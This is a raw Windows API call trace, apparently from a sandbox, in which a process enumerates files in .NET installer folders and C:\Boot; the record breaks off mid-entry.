FindNextFileW (in: hFindFile=0x10dbed0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0044.301] FindNextFileW (in: hFindFile=0x10dbed0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0044.301] FindNextFileW (in: hFindFile=0x10dbed0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0044.301] FindNextFileW (in: hFindFile=0x10dbed0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0044.301] FindNextFileW (in: hFindFile=0x10dbed0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0044.301] FindNextFileW (in: hFindFile=0x10dbed0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0044.301] FindClose (in: hFindFile=0x10dbed0 | out: hFindFile=0x10dbed0) returned 1 [0044.318] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.318] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0044.318] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0044.318] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0044.318] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0044.318] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0044.319] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0044.319] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0044.321] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0044.321] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0044.321] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0044.321] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0044.322] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0044.322] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0044.322] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0044.322] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0044.322] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0044.322] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0044.322] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0044.322] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0044.322] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0044.322] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0044.322] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0044.323] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0044.323] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0044.323] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0044.323] FindClose (in: hFindFile=0x10c8d90 | out: hFindFile=0x10c8d90) returned 1 [0044.325] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3310058 | out: hHeap=0x2b10000) returned 1 [0044.325] FindNextFileW (in: hFindFile=0x10c92d0, lpFindFileData=0x2fef628 | out: lpFindFileData=0x2fef628*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fef850, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0044.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x10dc3d0 [0044.326] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0044.327] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD", cAlternateFileName="")) returned 1 [0044.328] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0044.328] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0044.328] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0044.328] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0044.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\bg-BG\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9c, cFileName=".", cAlternateFileName="")) returned 0x10dc450 [0044.329] FindNextFileW (in: hFindFile=0x10dc450, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x9c, cFileName="..", cAlternateFileName="")) returned 1 [0044.329] FindNextFileW (in: hFindFile=0x10dc450, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x9c, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.329] FindNextFileW (in: hFindFile=0x10dc450, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x9c, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0044.329] FindClose (in: hFindFile=0x10dc450 | out: hFindFile=0x10dc450) returned 1 [0044.330] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d70048 | out: hHeap=0x2b10000) returned 1 [0044.330] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0044.330] FindNextFileW (in: hFindFile=0x10dc3d0, lpFindFileData=0x2fef3a4 | out: 